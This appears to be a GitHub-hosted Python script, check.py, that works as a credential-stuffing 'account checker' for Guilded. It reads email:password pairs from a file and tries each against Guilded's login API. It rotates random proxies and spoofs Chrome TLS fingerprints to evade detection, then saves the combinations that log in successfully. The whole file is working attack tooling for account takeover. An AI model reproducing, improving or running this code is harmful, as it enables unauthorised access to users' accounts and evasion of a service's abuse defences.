-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcheck.py
54 lines (46 loc) · 2.13 KB
/
check.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import tls_client
import random
import concurrent.futures
import tls_client
import random
import colorama
from colorama import Fore, Style, init
def iniciar():
threads = int(input(Fore.YELLOW + "[" + Fore.RED + ">" + Fore.YELLOW + "] " + Fore.WHITE + "How many threads do u like to use? "))
with open('realist_accs.txt', 'r') as file:
accounts = [line.strip().split(':') for line in file if ':' in line]
total_accounts = len(accounts)
print(Fore.YELLOW + "[" + Fore.RED + ">" + Fore.YELLOW + "] " + Fore.WHITE + f"Total accounts to check: {total_accounts}")
def checkacc():
with open("proxies.txt") as proxies:
proxy = proxies.readlines()
valid_accounts = []
for email, password in accounts:
random_proxy = random.choice(proxy).strip()
session = tls_client.Session(
client_identifier=f"chrome_{random.randint(103, 112)}",
random_tls_extension_order=True
)
session.proxies = {
"http": "http://" + random_proxy,
"https": "https://" + random_proxy
}
res = session.post(
f"https://www.guilded.gg/api/login",
json={
"email": email,
"getMe": True,
"password": password
}
)
if res.status_code == 200:
print(Fore.YELLOW + "[" + Fore.GREEN + ">" + Fore.YELLOW + "] " + Fore.GREEN + f"Valid account: {email}")
valid_accounts.append((email, password))
else:
print(Fore.YELLOW + "[" + Fore.RED + ">" + Fore.YELLOW + "] " + Fore.RED + f"Invalid account: {email}")
with open('realist_accs.txt', 'w') as file:
for email, password in valid_accounts:
file.write(f"{email}:{password}\n")
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = [executor.submit(checkacc) for _ in range(total_accounts)]
concurrent.futures.wait(futures)